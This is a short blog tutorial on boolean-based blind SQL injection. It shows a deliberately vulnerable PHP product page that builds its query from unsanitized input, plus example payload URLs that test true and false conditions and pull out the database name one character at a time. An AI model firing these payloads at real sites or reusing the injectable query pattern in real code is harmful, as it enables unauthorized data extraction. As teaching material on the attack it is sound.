Thilan Dissanayaka Web App Hacking Apr 26

Boolean based Blind SQL Injection

Blind SQL Injection happens when:

There is a SQL injection vulnerability,

BUT the application does not show any SQL errors or query outputs directly.

In this case, an attacker has to ask questions to the database and observe how the server behaves to extract information bit by bit.

There are two main types:

Boolean-based blind SQLi (based on true/false responses)

Time-based blind SQLi (based on delay in server response)

Real-World Example Setup Imagine a product page with a URL like:

bash Copy Edit http://victim.com/product.php?id=5 and the vulnerable backend PHP code:

php Copy Edit <?php $id = $_GET['id']; $query = "SELECT * FROM products WHERE id = '$id'"; $result = mysqli_query($conn, $query); if (mysqli_num_rows($result) > 0) { // Display the product details $row = mysqli_fetch_assoc($result); echo "Product Name: " . $row['name']; } else { echo "No product found."; } ?> Problems:

No sanitization

User input directly used in SQL query

BUT importantly:

The page only says "Product found" or "No product found"

It does NOT show any SQL error messages or database outputs!

Boolean-Based Blind SQL Injection Basic Attack Idea: Inject a condition that changes the page behavior depending on TRUE or FALSE.

Example payload:

bash Copy Edit http://victim.com/product.php?id=5' AND 1=1 -- 1=1 is TRUE.

So the product page loads normally.

Payload to test FALSE:

bash Copy Edit http://victim.com/product.php?id=5' AND 1=2 -- 1=2 is FALSE.

The page now says "No product found".

Extracting Data Step by Step We can guess characters one by one.

Example: Try to extract the first letter of the database name:

sql Copy Edit ' AND SUBSTRING(database(),1,1)='a' -- URL encoded:

bash Copy Edit http://victim.com/product.php?id=5'%20AND%20SUBSTRING(database(),1,1)='a'%20--+ If the first letter is 'a', page shows "Product found".

Otherwise, "No product found".

We can automate this with a tool like SQLMap, or manually brute-force character by character.

ALSO READ
How stack works in function call
Mar 23 Web App Hacking

## The Stack in Computer Science The stack is an important concept in computer science. If you are planning to learn reverse engineering, malware analyzing, exploitation, etc., this concept is a....

Remote Command Execution
Mar 23 Web App Hacking

Remote Command Execution (RCE) is a critical security vulnerability that allows an attacker to execute arbitrary commands on a remote server. This vulnerability can lead to unauthorized access, data....

Build A Simple Web shell
Mar 23 Web App Hacking

A web shell is a type of code that hackers use to gain control over a web server. It is particularly useful for post-exploitation attacks, and there are various types of web shells available. Some of....

Building a Web3 CLI Tool for the Ballerina Language: From Idea to Reality
Apr 26 Ballerina

🚀 Excited to finally share my journey of building a web3 CLI tool for Ballerina! This tool bridges the gap between Ethereum smart contracts and the Ballerina programming language by automatically....

Common Web Application Attacks
Apr 26 Web App Hacking

## SQL Injection (SQLi) What it is: SQL Injection happens when an attacker manipulates a web application's SQL queries by injecting malicious SQL code. If user inputs are not properly sanitized,....

Observer Pattern explained simply
Apr 26 Design Patterns

When one object needs to notify many other objects about changes in its state **automatically**, the **Observer Pattern** steps in. ## What is the Observer Pattern? - Defines a....